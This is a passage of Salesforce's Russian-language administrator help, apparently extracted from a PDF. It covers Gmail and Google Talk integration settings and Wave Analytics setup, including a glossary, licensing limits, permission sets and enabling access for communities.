• Служба «Добавление документов Google в систему Salesforce» может быть отключена только в том случае, если код
Apex не ссылается на документы Google.

• Документы Google не учитываются в хранилище данных. Для каждого документа Google, связанного с записью или
библиотекой Salesforce, используется 2 Кб хранилища.

СМ. ТАКЖЕ:

Начало работы с Salesforce и Google Apps
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Использование Gmail в системе Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации службы
Gmail в системе Salesforce:
• «Настройка

приложения»

Важное замечание: Службы Google Apps, активированные в системе Salesforce,
становятсядоступнымидлявсехпользователейорганизации. Данныеслужбымогут
использоваться только при наличии аккаунтовGoogle Apps в домене организации.
Дополнительнуюинформацию см. в разделе «Начало работы с Salesforce и Google
Apps».

Gmail™ (или Google Mail) — это бесплатная почтовая служба Google, которая доступна
черезлюбойстандартныйобозревательиподдерживаетиспользованиекорпоративного
домена.Почтовая служба Gmail может быть интегрирована в систему Salesforce двумя
способами.

• Отправить сообщение Gmail в Salesforce

• Кнопки и ссылки Gmail

Отправить сообщение Gmail в Salesforce
Служба «Отправить сообщение Gmail в Salesforce» позволяет автоматически
регистрировать сообщения эл. почтыичаты, отправленныеиз аккаунтаGmail, в качестве
действийпо интересам, контактам, возможностям и другим записям, поддерживающим
журнал действий в системе Salesforce.

Служба «Отправить сообщение Gmail в Salesforce» основана на функции Email to Salesforce. Чтобы активировать службу
«ОтправитьсообщениеGmailвSalesforce» длясвоейорганизации, введитевменю «Настройка» «Email to Salesforce»
вполе «Быстрый поиск», затемвыберите<b>«Email to Salesforce»</b>. Чтобынастроить службу «Отправить сообщение
Gmail в Salesforce» для своейорганизации, введите вменю «Настройка» «My Email to Salesforce» вполе «Быстрый
поиск», затем выберите<b>«My Email to Salesforce»</b>.

Кнопки и ссылки Gmail
Служба «Кнопки и ссылки Gmail» позволяет добавить ссылки Gmail рядом с полями эл. почты всех записей и кнопки
«Создатьновое сообщениеGmail» в связанные спискиинтересов и контактов «Журнал действий». При выборе ссылки
Gmail или кнопки «Создать новое сообщениеGmail» система Salesforce выполняет автоматический вход в аккаунтGmail
и заполняет поле «Кому». Если организация использует службу «Отправить сообщение Gmail в Salesforce», то система
Salesforce автоматически заполняет поле «СК» адресом Email to Salesforce.

Чтобы активировать службу «Кнопки и ссылки Gmail», выполните указанные ниже действия.

1. Внастройкевведите «Google Apps» вполе «Быстрый поиск», затемвыберите<b>«Параметры Google Apps»</b>.

2. Щелкните ссылку «Правка» напротив службы «Кнопки и ссылки Gmail» в разделе «Включить службы Google Apps».

3. Чтобы активировать службу «Кнопки и ссылки Gmail», установите флажок «Активно».

4. Чтобыдобавитьссылки«Gmail»напротиввсехполейэл. почты (кромеполейэл. почтынастраницахменю «Настройка»),
установите флажок «Ссылки Gmail».

5. Установите флажок «Кнопки Gmail», чтобы добавить кнопки «Создать новое сообщение Gmail» в связанные
списки интересов и контактов «Журнал действий».

6. Прочтите условия использования и установите флажок, подтверждающий ваше согласие.

7. Нажмите кнопку «Сохранить».
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Примечания по внедрению
• Если в организации включена служба «Кнопки и ссылки Gmail», но отключена служба «Отправить сообщение Gmail

в Salesforce», то ссылки Gmail доступны в записях контактов и интересов. Однако система Salesforce не регистрирует
сообщения эл. почты, отправленные из аккаунта Gmail, и не заполняет поле «СК» окна «Создать новое сообщение
Gmail» адресом Email to Salesforce.

СМ. ТАКЖЕ:

Начало работы с Salesforce и Google Apps

http://support.google.com/mail/?hl=en

Индивидуальная настройка системы Salesforce

Использование Google Talk в системе Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации или
деактивации Google Talk:
• «Настройка

приложения»

Важное замечание: Система SalesforceбольшенеподдерживаетприложениеGoogle
Talk. Альтернативные способы использования приложения Google Talk см. в
интерактивной справке Google Talk.

Деактивация Google Talk
ЧтобыдеактивироватьприложениеGoogle Talk в системе Salesforce, выполните указанные
ниже действия.

1. В настройке введите «Google Apps» в поле «Быстрый поиск», затем выберите
<b>«Параметры Google Apps»</b>.

2. Щелкните ссылку «Правка» напротив службы «Компонент боковой панели Google
Talk» в разделе «Включить службы Google Apps».

3. Снимите флажок «Активно».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Начало работы с Salesforce и Google Apps
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Analytics

Wave Analytics

Salesforce Wave Analytics — это облачная платформа для связывания данных из нескольких источников, создания
интерактивныхпредставленийданныхипубликацииданныхпредставленийнапанеляхмониторинга. Даннаяплатформа
позволяетбизнес-пользователямбыстроанализироватьменяющуюсяинформациюипредприниматьсоответствующие
меры.

• Знакомство с Wave Analytics с Trailhead

• Глоссарий Wave Analytics

• Ограничения для Wave Analytics

• Ограничения для Wave Analytics

Настройка Wave Analytics
• Настройка Wave Platform на странице 3748 | PDF

• Руководство по обеспечению безопасности Wave Analytics (PDF)

Интеграция данных Salesforce и внешних данных
• Интеграция данных | PDF

• Руководство по интерфейсу External Data API | PDF

• Справочное руководство по формату внешних данных | PDF

Просмотр и предоставление общего доступа к данным
• Основные элементы панели мониторинга Wave

• Просмотр и визуализация данных

• Поддержка решений посредством панели мониторингаWave Analytics

• Внедрение Wave Analytics в организации

Приложения Wave Analytics
• Работа с приложениямиWave Analytics

• Приложение Sales Wave Analytics
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https://resources.docs.salesforce.com/200/latest/ru-ru/sfdc/pdf/bi_admin_guide_setup.pdf
https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/bi_admin_guide_security.pdf
https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/bi_admin_guide_data_integration_guide.pdf
https://developer.salesforce.com/docs/atlas.en-us.bi_dev_guide_ext_data.meta/bi_dev_guide_ext_data
https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/bi_dev_guide_ext_data.pdf
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• Приложение Admin Analytics

Настройка Wave Analytics
• Руководство по JSON панели мониторинга | PDF

• Справочное руководство по SAQL | PDF

• Справочное руководство по расширенным метаданным (XMD) | PDF

Мобильная версия Wave Analytics
• Справка Salesforce Analytics for iOS

Wave REST API
• Руководство разработчика Wave REST API (пилотная версия) | PDF

Знакомство с Wave Analytics с Trailhead
Trailhead — это приятный и бесплатный способ изучения Salesforce. Теперь вы можете познакомиться с Wave Analytics с
помощью Trailhead, используя специальную организацию с поддержкой Wave версии Developer Edition.

Старую организацию Developer Edition невозможно использовать для отслеживания последних действий Wave Analytics.
Для этого необходимо войти в систему специальной версии Developer Edition, которая предоставляется с ограниченной
лицензией платформы Analytics Cloud Wave и содержит тестовые данные, требуемые для последних действий Wave.

Для получения доступа ко всем последним действиям Wave Analytics перейдите по ссылке:
https://developer.salesforce.com/trailhead/trail/wave_analytics_explorer. Этостраницавхода в специальнуюорганизациюверсии
Developer Edition в последних действиях основной Wave Analytics.

СМ. ТАКЖЕ:

Ограничения для Wave Analytics
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https://developer.salesforce.com/docs/atlas.en-us.bi_dev_guide_json.meta/bi_dev_guide_json
https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/bi_dev_guide_json.pdf
https://developer.salesforce.com/docs/atlas.en-us.bi_dev_guide_saql.meta/bi_dev_guide_saql
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Глоссарий Wave Analytics
Просмотрите общую терминологиюWave Analytics.

Приложение
Приложение содержит панели мониторинга, представления Lens и наборы данных, комбинация которых позволяет
предоставлять коллегам общий доступ к анализам данных. Приложения аналогичны папкам. Они позволяют
пользователямсистематизироватьпроектыданных — личныеиобщедоступные — иконтролироватьобщийдоступ.

Панель мониторинга
Панель мониторинга — это набор рекомендованных диаграмм, показателей и таблиц на основе данных из одного или
нескольких представлений Lens.

Файл JSON панели мониторинга
Файл JSON панели мониторинга определяет компоненты панели мониторинга и описывает способ их связывания.

Отслеживание данных
Инструмент отслеживания данных позволяет отслеживать задания потока данных и системные задания. Кроме того,
данный инструмент может использоваться для запуска, остановки, повторного планирования, загрузки и выгрузки
потоков данных.

Поток данных
Поток данных — это набор инструкций, определяющих данные, подлежащие извлечениюиз объектов Salesforce или
наборов данных, способы трансформациинаборов данных, а также наборы данных, которые должныбыть доступны
для запросов.

Файл определения потока данных
Файл определения потока данных — это файл JSON, содержащий трансформации, которые представляют логику потока
данных.

Задание потока данных
Задание потока данных обрабатывает логику в потоке данных.

Набор данных
Набор данных содержит набор исходных данных, отформатированных и оптимизированных для интерактивного
просмотра.

Конструктор наборов данных
Конструктор наборов данных — это интерактивный пользовательский интерфейс, позволяющий быстро выбирать и
извлекать данные из связанных объектов Salesforce для создания отдельного набора данных.

Дата
Дата может быть представлена днем, месяцем, годом и при необходимости временем. Даты поддерживают
группирование, фильтрацию и выполнение математических операций.

Конструктор
Конструктор — это интерфейс, предназначенный для создания панелей мониторинга.

Измерение
Измерение — это качественное значение (например, регион, имя продукта и номер модели). Измерения позволяют
группировать и фильтровать данные. В отличие от мер, измерения не поддерживают математические операции.

Проводник
Проводник — это интерфейс, предназначенный для просмотра наборов данных и представлений Lens.

Расширенные метаданные (XMD)
Расширенныеметаданные (XMD)позволяютнастраиватьформатированиемногих элементовпанелимониторинга вWave
Analytics.
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Внешние данные
Внешние данные — это данные, хранящиеся вне системы Salesforce (например, данные из внешних приложений и
электронных таблиц).

External Data API
Рекомендуем использовать External Data API для загрузки файлов внешних данных вWave Analytics с целью создания
наборов данных.

Представление Lens
Представление Lens — это конкретное представление данных из набора данных. Данная область позволяет выполнять
произвольный анализ и визуализацию.

Мера
Мера — этоколичественноезначение (например, доходикурсобмена). Мерыподдерживаютматематическиеоперации
(например, вычисление общего дохода и минимального курса обмена).

Файл метаданных
Файл метаданных — это файл JSON, описывающий структуру файла внешних данных.

Предикат
Предикат — это условие фильтра, определяющее доступ к записям набора данных на уровне строки.

Язык запросов Salesforce Analytics (SAQL)
Рекомендуем использовать SAQL для просмотра и анализа данных в наборах данныхWave Analytics.

Трансформация
Подтрансформациейпонимается манипулирование данными. Пользователимогут добавлять трансформации в поток
данных для извлечения данных из объектов Salesforce или наборов данных, трансформировать наборы данных,
содержащие данные Salesforce или внешние данные, а также регистрировать наборы данных.

Визуализация
Какправило, под визуализациейпонимаетсядиаграммаили график (например, секторнаядиаграмма, круговаядиаграмма,
временная шкала или тепловая карта). Данные, отображаемые в виде таблицы (например, таблица сравнения или
своднаятаблица), такжесчитаютсявизуализацией. Каждаявизуализациясодержитбазовыйзапрос, соответствующий
способу, который используетсяWave Analytics для извлечения информации из исходных данных.

Настройка платформы Wave

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Чтобы настроить организациюдля использования платформы Salesforce Wave Analytics,
ознакомьтесь слицензиямииполномочиямиплатформыWave Analytics. Затемпройдите
стандартный процесс настройки, как для любого продукта Salesforce.

Важное замечание: Если вы приобрели лицензию на платформу Wave Analytics
до 20 октября 2015 года лицензияминабора полномочий Analytics Cloud Builder или
Analytics Cloud Explorer, ознакомьтесь с разделом Настройка платформыWave
Analyticsслицензиями, приобретеннымидо 20 октября 2015 года. Вслучаеперевода
пользователей с лицензии Builder или Explorer на лицензию новой платформы
Analytics Cloud — Wave Analytics ознакомьтесь с разделом Переход с лицензий на
Wave, приобретенных до 10/20/2015, на лицензииновой платформы Wave, прежде
чем запустить соответствующий процесс настройки.

Прим.: Для начала работы с приложением Sales Wave необходимо перейти в
Приложение Sales Wave Analytics.
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Каждая лицензия на платформу Analytics Cloud — Wave Analytics рассчитана на одного пользователя и предоставляет
доступ к облаку Salesforce Wave Analytics. Сюда входит лицензия на одного пользователя Analytics Cloud — Sales Wave
Analytics App. В таблице приведены ограничения на хранение данных для каждой лицензии. Для большего количества
данных можно приобрести дополнение Analytics Cloud — Additional Data Rows, предоставляющее 100 миллионов
дополнительных строк.

ОграничениеЛицензия

100 миллионов строкПлатформа Analytics Cloud — Wave Analytics

25 миллионов строк при использовании без лицензии на
платформу Analytics Cloud — Wave Analytics. При

Analytics Cloud — приложение Sales Wave Analytics

использованиилицензиинаприложение Sales Wave лимит
данных для лицензии на платформу не повышается

100 миллионов строкAnalytics Cloud — Additional Data Rows (дополнительные
строки данных)

Важное замечание: Ограничения на хранение данных в лицензииWave Analytics являются не техническими, а
договорными. Владелец лицензии соглашается строго отслеживать общее количество строк данных.

Процесс настройки платформы Wave
Включение Wave и назначение лицензий набора полномочий для пользователей.Первым делом при настройке
платформы Wave ее необходимо просто включить. Затем — назначить лицензию набора полномочий на платформу
Analytics Cloud — Wave Analytics каждому пользователю. Каждая лицензия набора полномочий может быть назначена
только одному пользователю. Лицензия пользователя, связанная с его профилем, также должна быть совместима с
лицензией набора полномочий на платформу Analytics Cloud — Wave Analytics. Некоторые лицензии пользователя не
поддерживают лицензии набора полномочий Wave.

Определение типов пользователей, а также создание и назначение наборов полномочий. Затем определите
основныетипыпользователейворганизацииисоздайтенаборполномочийдля группировкисвязанныхпользовательских
полномочийпопотребностямкаждоготипа. Послесозданиянаборыполномочийнеобходимоназначитьпользователям.
Несмотряна возможностьназначениянабораполномочийотдельномупользователю, ихможнотакженазначить группе
пользователейдляповышенияэффективности. Принеобходимостиможноназначатьпользователюнескольконаборов
полномочий.

Просмотреть обзор: создание, редактирование и назначение набора полномочий

Назначатьлицензиюнабораполномочий Wave можноодновременнослюбойизследующихпользовательскихлицензий
Salesforce:

• Force.com (app subscription)

• Force.com (one app)

• Full CRM

• Salesforce Platform

• Salesforce Platform One

Прим.: ВыключениеWave Analytics инициирует удаление полномочий пользователя из каждого заданного набора
полномочий. ПрипоследующемвключенииWave Analytics требуетсяповторноеопределениенаборовполномочий.
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Совет: Рекомендуем выполнить этапы настройки платформыWave Analytics в указанном порядке.

1. Знакомство пользовательскими полномочиями и лицензией набора полномочий Analytics Cloud

Лицензиянабораполномочийплатформы Analytics Cloud — Wave Analyticsвключаетвсепользовательскиеполномочия,
необходимые для обзора данных и управления Salesforce Wave Analytics.

2. Определение типов пользователей платформы Wave Analytics

Определение типов пользователей Wave и задач, которые им необходимо выполнять, позволяет убедиться в
соответствии настройки большинству аналитических потребностей участников вашей группы.

3. Включение Wave Analytics и выбор лицензии на набор полномочий платформы Analytics Cloud — Wave Analytics

После инициализации лицензии платформы Wave Analytics от Salesforce необходимо включить лицензию набора
полномочий Wave Analytics и назначить ее пользователям.

4. Создание наборов полномочий Wave Analytics

Чтобы предоставить пользователям вашей организации доступ к функциям Wave, создайте и назначьте один или
несколько наборов полномочий с учетом уровня требуемых аналитических возможностей.

5. Назначение пользователям наборов полномочий Wave Analytics

Назначьте одному или нескольким пользователям наборы полномочий — по одному или группой, — чтобы
предоставить им доступ к функциям Wave.

6. Завершение настройки платформы Wave Analytics

Улучшите качество работы с платформой Wave и настройте доступ Wave к данным Salesforce с помощью
дополнительных процессов настройки.

СМ. ТАКЖЕ:

Настройка платформы Wave Analytics с лицензиями, приобретенными до 20 октября 2015 года

Переход с лицензий Wave, приобретенных до 20.10.2015 на новые лицензии платформы Wave

Знакомство пользовательскими полномочиями и лицензией набора полномочий
Analytics Cloud
Лицензия набора полномочий платформы Analytics Cloud — Wave Analytics включает все пользовательские полномочия,
необходимые для обзора данных и управления Salesforce Wave Analytics.

Для каждого пользователя платформы Wave требуется лицензия набора полномочийплатформы Analytics Cloud — Wave
Analytics. Лицензия набора полномочий платформы Analytics Cloud — Wave Analytics включат следующие полномочия.

ОписаниеПолномочие пользователя

«Доступ кWave Analytics» Просмотр и исследование наборов данных.
Просмотрипубликацияпанелеймониторингаипредставлений Lens.

“«ИспользованиеWave Analytics»

Создание, редактирование и удаление панелей мониторингаWave
Analytics.

“«Создание и редактирование панелей
мониторингаWave Analytics»

Создание, редактирование, удалениеипубликацияприложенийWave
Analytics.

“«Создание приложенийWave Analytics»
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ЗагрузкавнешнихданныхвWave Analyticsдлясозданиянабораданных.
Отслеживание потока данных и системных заданий на странице
отслеживания данных.

“Загрузка внешних данных вWave Analytics»

Загрузка, запуск, остановкаиповторноепланированиепотокаданных.
Отслеживание потока данных и системных заданий на странице

“«Изменение потоков данныхWave Analytics»

отслеживания данных. Назначать это пользовательское полномочие
следует с осторожностью, так как оно предоставляет доступ ко всем
даннымобъектов Salesforce, с которымиможетработатьпользователь
интеграции. Дополнительнуюинформацию см. в разделе «Доступ к
данным Salesforce».

Доступко всемфункциямWave Analytics. Предоставляет возможности
на уровне администратора Wave.

“УправлениеWave Analytics»

Прим.: Еслиприсозданиинаборовполномочийдляпользователей Wave выбратьлюбоеполномочиеWave Analytics,
автоматически будет включено и полномочие «ИспользованиеWave Analytics». Также вместе с ним будет добавлен
тип доступа, предоставленный средствами управления приложения для действий, которые пользователь может
осуществлять со своиминаборамиданных, представлениями Lens ипанелямимониторинга. Например, приналичии
у пользователя полномочия «ИспользованиеWave Analytics», ему также необходим доступ типа «Гость» к этому
приложению, чтобы просматривать наборы данных, представления Lens и панели мониторинга.

Определение типов пользователей платформы Wave Analytics

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Определение типов пользователей Wave и задач, которые им необходимо выполнять,
позволяетубедитьсявсоответствиинастройкибольшинствуаналитическихпотребностей
участников вашей группы.

Лицензия платформы Wave Analytics включает пользователей полномочий вашей
организации, которые должны администрировать Wave, импортировать, обозревать
данные и работать с ними. Для оптимальной настройки Wave продумайте, какие типы
доступакфункциям Wave понадобятсяпользователям, иразбейтеихна группыпотипам.
Ниже перечислены некоторые примеры.

Вбольшинстве случаепользователюнеобходимонастроить Wave, чтобыудовлетворить
потребностям двух основных типов участников вашей группы.

• Пользователи, которымтребуется возможностьпросматриватьпанелимониторинга,
представления Lens и наборы данных Wave, а также иногда импортировать данные в
Wave.

• Администраторыилименеджеры, которымтребуетсядоступковсемфункциям Wave
для созданияприложений, панелеймониторинга, представлений Lens инаборамданных, дляредактированияданных
и другой систематизации работы с Wave.

Соответственно, принастройкеплатформы Wave для удовлетворенияпотребностямбольшинствупользователей вашей
организации может быть достаточно создать два основных набора полномочий.

• Набор полномочий «Просмотр» с полномочиями, которые требуются большинству обычных пользователей при
доступе к Wave.

• Набор полномочий «Управление», зарезервированный для выбора нескольких администраторов и менеджеров и
содержащий полномочия на использование всех функций Wave
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Настроить Wave Analytics можно любым удобным способом, например, определив другие типы пользователей и наборы
полномочий с учетом потребностей пользователей вашей организации. Таким образом, вам может понадобится набор
полномочий «Суперпользователь» для тех, кому требуется создавать и публиковать приложения и панели мониторинга,
или «Мастер данных» для пользователей, которым необходимо тесно работать с наборами данных.

Здесь приведены два основных типа участников вашей команды — пользователи и администраторы. На этом примере
подробно показан процесс создания и назначения набора полномочий.

Включение Wave Analytics и выбор лицензии на набор полномочий платформы
Analytics Cloud — Wave Analytics
После инициализации лицензии платформы Wave Analytics от Salesforce необходимо включить лицензию набора
полномочий Wave Analytics и назначить ее пользователям.

1. Вменю «Настройка» Salesforce в учетной записи администраторапоследовательновыберитепункты «Analytics Cloud»
| «Начало работы».

2. Щелкните «Включить Analytics».

3. В меню «Настройка» последовательно выберите пункты «Управление пользователями» | «Пользователи».

4. Щелкнитеимянужногопользователя для предоставления доступа к Wave. Возможно, потребуется начать подименем
«Пользователь», «Администратор» или любым другим именем, заданным для системного администратора.

5. Наведитекурсорнапункт«Назначениялицензиинабораполномочий»ищелкните«Редактироватьназначения».

6. Выберителицензиюнабораполномочийплатформы Analytics Cloud — Wave Analytics инажмитекнопку «Сохранить».

7. Повторите эти действия для всех пользователей вашей организации, которым требуется доступ к Wave.

Прим.: Пока вWave Analytics не будут загружены данные, доступных данных для запросов не будет.

Создание наборов полномочий Wave Analytics

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Чтобы предоставить пользователям вашей организации доступ к функциям Wave,
создайте и назначьте один или несколько наборов полномочий с учетом уровня
требуемых аналитических возможностей.

После назначения лицензий наборов полномочий пользователям необходимо создать
наборы из пользовательских полномочий Wave и назначить их пользователям. Для
удовлетворения требованиям пользователей можно создавать любые наборы
полномочий. Ниже показан процесс создания двух наборов полномочий.

• Набор полномочийManage Wave Analytics, для пользователей, администрирующих
и управляющих Wave Analytics, которым требуется доступ ко всем функциям Wave
Analytics.

• Набор полномочий View Wave Analytics — для пользователей, исследующих данные и периодически загружающих
данные в Wave Analytics, которым требуется доступ к ограниченному набору функций Wave Analytics.

Прим.: Для клиентов, которые приобрели Wave до 20 октября 2015 года: прежде чем выполнять инструкции ниже,
см. раздел Настройка платформыWave Analytics с лицензиями, приобретенными до 20 октября 2015 года.

Просмотреть обзор: создание, редактирование и назначение набора полномочий
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1. Прим.: Набор полномочий Manage Wave Analytics включает эквивалентные функции, предоставленные
предыдущейлицензией Wave Analytics Builder (сприобретениемдо 20 октября 2015 года). Приналичиилицензии
Builder или при переходе на новую лицензию платформы Wave Analytics выполните следующие действия по
созданию набора полномочий с аналогичнымифункциями.

Создайтенаборполномочий Manage Wave Analytics, предоставляющийпользователямдоступко всемфункциям Wave.

a. В меню «Настройка» в учетной записи администратора последовательно выберите пункты «Управление
пользователями» | «Наборы полномочий», а затем нажмите кнопку «Создать».

b. В поле метки введите Manage Wave Analytics. Будет автоматически создано имя API, которое при
необходимостиможно изменить. Обратите внимание: имя API не может заканчиваться символом подчеркивания,
а также содержать пробелы или два последовательных символа подчеркивания.

c. Внимание: Обязательновыполните этотшаг, иначенекоторыепользователивашейорганизациинеполучат
доступа к Wave.

Вполе «Лицензияпользователя» оставьте значениепоумолчанию --Нет--. Ненужно выбиратьпользовательскую
лицензию.

d. Нажмитекнопку«Сохранить». Настраницесведенийонабореполномочийотобразитсяновыйнаборполномочий.
Теперь добавьте в набор полномочия пользователей.

e. Прокрутите страницу сведений о наборе полномочий вниз и нажмите кнопку «Полномочия системы». Затем
нажмите кнопку «Правка».

f. Выберитеполномочияпользователей «Manage Wave Analytics» инажмитекнопку«Сохранить». Наборполномочий,
предоставляющий пользователям доступ ко всемфункциям Wave, успешно создан. Этот набор можно назначать
пользователям, какописановподразделе «Назначениенаборовполномочийпользователям». Наборполномочий
необходимоназначать обоснованно, так как он предоставляет доступ ко всемфункциям Wave, многие из которых
недопустимы для большинства пользователей средств аналитики.

2. Прим.: Наборполномочий View Wave Analytics включаетэквивалентныефункции, предоставленныепредыдущей
лицензией Wave Analytics Explorer (с приобретениемдо 20 октября 2015 года). Приналичиилицензии Explorer или
при переходе на новую лицензию платформы Wave Analytics выполните следующие действия по созданию
набора полномочий с аналогичнымифункциями.

Создайте набор полномочий View Wave Analytics, позволяющий пользователям просматривать представления Lens,
панели мониторинга и наборы данных в Wave, а также импортировать данные в Wave.

a. В меню «Настройка» в учетной записи администратора последовательно выберите пункты «Управление
пользователями» | «Наборы полномочий», а затем нажмите кнопку «Создать».

b. Вполеметкивведите View Wave Analytics. Будетавтоматическисозданоимя API, котороепринеобходимости
можноизменить. Обратите внимание: имя API неможет заканчиваться символомподчеркивания, а также содержать
пробелы или два последовательных символа подчеркивания.

c. Внимание: Обязательновыполните этотшаг, иначенекоторыепользователивашейорганизациинеполучат
доступа к Wave.

Вполе «Лицензияпользователя» оставьте значениепоумолчанию --Нет--. Ненужно выбиратьпользовательскую
лицензию.

d. Нажмитекнопку«Сохранить». Настраницесведенийонабореполномочийотобразитсяновыйнаборполномочий.
Теперь добавьте в набор полномочия пользователей.

e. Прокрутите страницу сведений о наборе полномочий вниз и нажмите кнопку «Полномочия системы». Затем
нажмите кнопку «Правка».
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f. Выберите пользовательские полномочия «Использование Wave Analytics Cloud» и «Загрузка внешних данных в
Wave Analytics», а затем нажмите кнопку «Сохранить». Набор полномочий, позволяющий пользователям
просматривать наборы данных, представления Lens и панели мониторинга Wave, создан успешно. Теперь
пользователимогутпросматриватьфайлыданных, загруженныевнесистемы Salesforce. Этотнаборможноназначать
пользователям, как описано в подразделе «Назначение наборов полномочий пользователям».

Назначение пользователям наборов полномочий Wave Analytics

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения набора
полномочийпользователям:
• «Назначение наборов

полномочий»

Назначьте одному или нескольким пользователям наборы полномочий — по одному
или группой, — чтобы предоставить им доступ к функциям Wave.

1.

Просмотреть обзор: «Назначение набора полномочий»

2. В меню «Настройка» в учетной записи администратора щелкнитеУправление
пользователями | Наборы полномочий.

3. Внимание: Назначайтенаборыполномочий Manage Wave Analytics обоснованно,
поскольку они предоставляют доступ ко всем функциям Wave. Их следует
назначать только администраторам или управляющим платформой Wave.

Щелкните нужный набор полномочий для назначения пользователям. Если вы выполнили инструкции из раздела
«Созданиенаборовполномочий Wave Analytics»на странице 3752, выберитенаборполномочий Manage Wave Analytics
или View Wave Analytics.

4. Нажмите кнопкуУправление назначениями, а затем — Добавить назначения.

5. Выберите пользователей, которым требуется доступ к Wave, и нажмите кнопку Готово.

Завершение настройки платформы Wave Analytics
Улучшите качествоработысплатформой Wave инастройтедоступ Wave к данным Salesforce спомощьюдополнительных
процессов настройки.

Включение миниатюр предварительного просмотра для всех представлений Lens и панелей мониторинга
Предоставьте пользователям возможность более удобного поиска представлений Lens и панелей мониторинга на
начальной странице и страницах приложения. Замените общие значки миниатюрами предварительного просмотра
содержимого всех представлений Lens и панелей мониторинга, включая те, которые применяют ограничения
безопасности строки.

Включение Wave Analytics для сообществ
Предоставьте безопасный общий доступ к приложениямWave Analytics с партнерами по сообществу и
пользователями-клиентами.

Предоставление пользователям доступа к конструктору панели мониторинга Flex

Для предоставления пользователям доступа к конструктору панели мониторинга Flex необходимо включить эту
функциюиназначитьпользователямполномочие «СозданиеиредактированиепанелеймониторингаWave Analytics».
Если полномочие назначено, но функция не включена, пользователи не получат доступ к новому конструктору, но
смогут использовать прежний.
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Включение Wave REST API

Спомощью Wave REST API можнопрограммнополучатьдоступкнаборамданныхипредставлениям Lens Wave Analytics.
Включение этой опции ведет к переопределению полномочия «APIEnabled» для отдельных пользователей и
предоставляет всем пользователям Wave (включая пользователей сообщества) доступ к Wave API.

Связанное приложение для приложения Wave Analytics for iOS

Установите связанное приложение Analytics for iOS для предоставления мобильным клиентам возможности удобного
подключениякорганизации. Связанноеприложениепозволяетконтролироватьпользователей, выполняющихвход,
а также определять способыпредоставления общего доступа к изображениями ссылкам, используемыемобильными
клиентами.

Руководство по обеспечению безопасности Wave Analytics

Wave Analytics поддерживает разные уровни безопасности, которые могут использоваться организацией для
предоставления нужному пользователю доступа к нужным данным.

Доступ к данным Salesforce

Wave Analytics требуетдоступкданным Salesforce приизвлеченииданныхиихиспользованиивконтекстебезопасности
строки. Wave Analytics получает доступ к данным Salesforce на основе полномочий двух внутренних пользователей
Wave Analytics: пользователь интеграции и пользователь безопасности.

Включение миниатюр предварительного просмотра для всех представлений Lens и панелей
мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров:
• “Управление Wave

Analytics»

Предоставьте пользователям возможность более удобного поиска представлений Lens
и панелей мониторинга на начальной странице и страницах приложения. Замените
общие значки миниатюрами предварительного просмотра содержимого всех
представлений Lensипанелеймониторинга, включаяте, которыеприменяютограничения
безопасности строки.

Важное замечание: Даже приприменениибезопасности строки к набору данных,
используемому представлением Lens или панелью мониторинга, миниатюра
предварительного просмотра может раскрывать данные из конфиденциальных
строк. Ограничения безопасности строки применяются только после просмотра
представления Lens или панели мониторинга пользователем.

1. Введите строку Wave Analytics в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Настройка».

2. Установите флажок «Показывать миниатюры предварительного просмотра для
представлений Lens и панелей мониторинга со включенной безопасностью
строки».

3. Нажмите кнопку «Сохранить».
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Включение Wave Analytics для сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров:
• “«Управление Wave

Analytics»

Для просмотра панелей
мониторинга и
представлений Lens в Wave:
• «Просмотр Wave

Analytics на страницах
сообщества»

Предоставьте безопасный общий доступ к приложениямWave Analytics с партнерами
по сообществу и пользователями-клиентами.

Прим.: Даннаяфункцияподдерживается сообществами, нонепорталами. Данная
функция поддерживается для пользователей с ролью, и не поддерживается для
пользователей массового портала.

Чтобы настроить Wave Analytics для общего доступа с сообществами, необходимо
выполнить следующие действия.

1. Настройтесвоюорганизацию Salesforce, какописановразделе «Настройкаплатформы
Wave».

2. Введите строку Wave Analytics в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Настройка». Выберите Включение Wave Analytics для
сообществ.

3. Назначьте участникам своего сообщества Analytics Cloud — Wave Community Users
лицензию набора полномочий.

4. Создайтенаборполномочий, в которыйбудет входитьполномочие «Просмотр Wave
Analytics на страницах сообществ» и назначьте его участникам своего сообщества.

5. Создайте панели мониторинга в Wave и сохраните их в приложении Wave. Укажите
это приложение для предоставления общего доступа с сообществом.

6. Встройте панели мониторинга Wave на страницы Visualforce на странице своего
сообщества. Подробную информацию см. в разделе «Добавление панели
мониторинга Wave Analytics на страницу Visualforce».

7. Из приложения с созданными панелями мониторинга предоставьте доступ к
участникам сообщества, нажав кнопку «Общий доступ».
